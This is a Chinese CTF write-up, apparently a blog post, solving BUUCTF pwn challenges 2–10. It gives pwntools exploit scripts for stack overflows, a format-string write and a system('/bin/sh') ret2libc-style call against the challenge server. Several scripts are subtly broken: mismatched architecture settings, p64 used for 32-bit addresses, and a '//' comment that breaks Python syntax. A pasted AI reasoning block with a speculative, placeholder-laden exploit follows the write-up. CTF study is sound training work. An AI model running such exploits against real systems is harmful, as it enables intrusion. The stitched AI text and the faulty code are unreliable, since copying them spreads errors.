BUUCTF PWN wp 2-10题

BUUCTF PWN题目解析合集

看前提示:

需要了解ret2text和格式化字符串漏洞

2.rip

提示:这道题涉及栈对齐问题,需要在padding后面加上一个返回地址。

很明显的栈溢出漏洞。

存在后门。

脚本如下:

from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',26306)
payload=b'a'*(0xf+8)+p64(0x401185)+p64(0x401186)
p.sendline(payload)
p.interactive()

3.warmup_csaw_2016

原理和上面那道题一样

脚本如下:

from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',28277)
payload=b'a'*(0x40+8)+p64(0x40060D)
p.sendline(payload)
p.interactive()

4.ciscn_2019_n_1

思路一:

通过v1修改v2的数值,v1和v2距离覆盖,并修改v2的数值:

from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',27474)
payload=b'a'*(0x30-0x4)+p64(0x41348000)
p.sendline(payload)
p.interactive()

思路二:

直接修改返回地址,

from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',27474)
cat=0x4006BE
payload=b'a'*(0x30+8)+p64(cat)
p.sendline(payload)
p.interactive()

5.pwn1_sctf_2016

使用了更加安全的fgets函数,限制了我们的输入长度最大为32

先看伪代码

有replace替换'I'为'you'

直接运行看看:

不难看出只要输入了'I',程序就会把它变为‘you’

这就有办法了:

虽然s数组的首地址距ebp 0x3c,如果只是输入32个字符远远不能覆盖到返回地址,但是在输入一个'I'后,程序会自动将它变为三字节的‘you’,也就是说,我们输入32个'I'就等于输入了32个'you',也就是96字节。

所以我们一共需要覆盖0x3c+4,也就是十进制的64,所以我们构造的payload就应该是:

payload=b'I'*21+b'a'

完整脚本如下:

from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',27598)
backdoor=0x8048F0D
payload=b'I'*21+b'a'+p64(backdoor)
p.sendline(payload)
p.interactive()

6.jarvisoj_level0

这道题和最基本的ret2text做法一样,不在赘述

from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',27212)
backdoor=0x400596
payload=b'I'*(0x80+8)+p64(backdoor)
p.sendline(payload)
p.interactive()

7.[第五空间2019 决赛]PWN5

先查看保护:

Canary保护开启,栈溢出就不是很好用了。

看一眼伪代码

看来并不需要我们进行覆盖到返回地址,Canary保护也就无所谓了

可以看到,程序生成了一个随机数,并将这个随机数储存到了变量buf_中(不是buf那个数组)

可以看到,这里有printf(buf)这一步,很明显的格式化字符串漏洞;

所以,我们的任务是将buf_的变量值进行修改;

第一步,查看buf_地址:双击buf_;

第二步,确定偏移量:

偏移量是10;

第三步,确定想要修改为的数值,这里不管了,直接为4;

脚本如下:

from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',29487)
bss=0x804C044
payload=p32(bss)+b'%10$n'
p.sendline(payload)
p.sendline(str(4))
p.interactive()

8.jarvisoj_level2

查看下字符串:

既有system函数,又有/bin/sh可以使用,所以直接拼接一下就好了。文件位数是32位的,也不用考虑寄存器问题了

脚本如下:

from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',27503)
system=0x8048320
binsh=0x804A024
payload=b'a'*(0x88+4)+p32(system)+p32(0xdeadbeef)+p32(binsh)//这里需要胡诌一个返回地址
p.recvuntil('Input:')
p.sendline(payload)
p.interactive()

9.ciscn_2019_n_8

这道题要通过数组来修改n17的数值,和上面一道题一样,不再赘述

脚本如下:

from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',27449)
payload=b'a'*0x34+p32(17)
p.sendline(payload)
p.interactive()

10.bjdctf_2020_babystack

这道题涉及到整形溢出,

 

脚本如下:

from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote('node5.buuoj.cn',29241)
backdoor=0x4006E6
payload=b'a'*(0x10+8)+p64(backdoor)
p.recvuntil(b'name:')
p.sendline(b'-1')
p.recvuntil(b'name?')
p.sendline(payload)
p.interactive()

当然了,不使用整形溢出也是可以的,反正源程序只是通过nbytes这个参数来限定read读入的buf的字节数,所以,如果nbytes只要大于(0x10+8)就可以了。比如100.

<think>好的,我现在要解决BUUCTF PWN level2的问。首先,我需要了解目的大致情况。根据用户提供的引用内容,可能涉及到堆溢出、格式化字符串漏洞或者栈溢出等常见PWN类型。不过具体到level2,可能需要更多的信息,但用户没有提供直接的引用,所以只能根据现有的引用推测。 首先,根据引用[2]提到的栈帧建立,可能涉及栈相关的漏洞,比如栈溢出。引用[3]中的格式化字符串漏洞可能也是相关,但需要看目具体设置。而引用[4]提到沙箱机制,但不确定是否与level2相关。不过通常level2可能是一个基础,可能涉及栈溢出和ROP链的构造。 接下来,我需要回忆常见的PWN步骤。通常步骤是:检查文件保护机制(如NX、ASLR等),反编译分析漏洞点,确定利用方法,编写exp。 假设level2是一个32位程序,存在栈溢出漏洞。比如,存在一个函数如vulnerable_function,其中使用了不安全的gets函数,导致可以覆盖返回地址。目标可能是调用system函数,并传递"/bin/sh"参数。 检查保护机制:使用checksec命令查看,可能NX enabled,所以需要ROP或者已有的gadget。但如果有现成的system和/bin/sh字符串,可以直接覆盖返回地址到system,参数指向/bin/sh。 例如,在IDA中分析,可能发现存在一个buf,输入超过缓冲区大小,覆盖返回地址。然后找到system的地址,以及/bin/sh的地址(可能在程序中给出,或者需要泄露)。 比如,程序中有个函数叫system,或者libc的地址已知,可以通过溢出跳转到system,并将参数设置为/bin/sh的地址。 根据引用中的示例代码,如快速排序的Python示例,可能用户希望得到类似的详细步骤和代码。所以,我需要将思路整理成步骤,并写出对应的exp。 可能的解步骤: 1. 使用checksec查看程序保护,确认是否开启NX、Canary等。 2. 使用IDA反编译,找到漏洞函数,比如存在栈溢出的函数。 3. 确定溢出点,计算需要覆盖的偏移量。 4. 查找可利用的函数地址,如system,以及参数/bin_sh的地址。 5. 构造payload:填充垃圾数据到偏移量,然后覆盖返回地址为system,参数地址。 6. 发送payload,获取shell。 假设在level2中,程序直接提供了system函数和/bin/sh字符串,则可以直接构造payload。例如,函数返回地址覆盖为system的地址,参数指向/bin/sh。 例如,在IDA中,可能发现: - 缓冲区大小是0x88字节,而输入可以覆盖到返回地址。 - system函数地址为0x08048320 - /bin/sh字符串地址为0x0804A024 那么构造payload时,需要填充0x88 + 4字节(ebp)到返回地址的位置,然后写入system地址,之后是返回地址(可以填充任意值),再跟参数地址。 或者,如果是32位程序,调用约定是栈传参,所以构造payload为: payload = b'A'*(offset) + p32(system_addr) + p32(0) + p32(bin_sh_addr) 这样,当函数返回时,跳转到system,参数是bin_sh_addr,从而执行system("/bin/sh")。 引用中的示例exp(如引用3中的格式化字符串利用)可能结构不同,但思路类似。因此,写出对应的exp代码,使用pwntools库,连接到远程或本地程序。 可能遇到的难点是确定偏移量和正确的地址,需要动态调试。例如,使用gdb确定偏移量,或者计算缓冲区到返回地址的距离。 总结步骤: 1. 分析程序保护机制。 2. 确定漏洞类型(栈溢出)。 3. 计算偏移量。 4. 找到system和/bin/sh的地址。 5. 构造payload并攻击。 现在需要将这些步骤整理成用户需要的解思路,并给出示例exp。</think>### BUUCTF PWN level2思路 #### 1. 文件分析 首先使用`checksec`检查程序保护机制: ```bash checksec level2 ``` 通常结果为`NX enabled`(栈不可执行),需通过ROP或已有函数利用。 #### 2. 反编译分析 使用IDA打开程序,找到漏洞函数(如`vulnerable_function`): ```c int vuln() { char buf[0x88]; return gets(buf); // 栈溢出漏洞 } ``` 通过`gets`函数可覆盖返回地址。 #### 3. 计算溢出偏移 - 缓冲区大小:`0x88`字节 - 覆盖`ebp`需4字节(32位程序) - **总偏移**:`0x88 + 4 = 140`字节 #### 4. 定位关键地址 - **`system`函数地址**:通过IDA查找,如`0x08048320` - **`/bin/sh`字符串地址**:可能在程序中直接存在,如`0x0804A024` #### 5. 构造Payload 32位程序调用约定为栈传参,payload结构: ``` payload = 填充字节 + system地址 + 返回地址 + 参数地址 ``` 示例: ```python from pwn import * context(arch='i386', os='linux') system_addr = 0x08048320 bin_sh_addr = 0x0804A024 payload = b'A' * 140 # 填充至返回地址 payload += p32(system_addr) # 覆盖返回地址为system payload += p32(0xdeadbeef) # system返回地址(随意) payload += p32(bin_sh_addr) # system参数 ``` #### 6. 编写EXP ```python from pwn import * p = remote("node4.buuoj.cn", 端口号) # 替换实际端口 # p = process("./level2") # 本地测试 system_addr = 0x08048320 bin_sh_addr = 0x0804A024 payload = b'A'*140 payload += p32(system_addr) payload += p32(0) # 返回地址可省略 payload += p32(bin_sh_addr) p.sendlineafter(b"input:", payload) p.interactive() ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值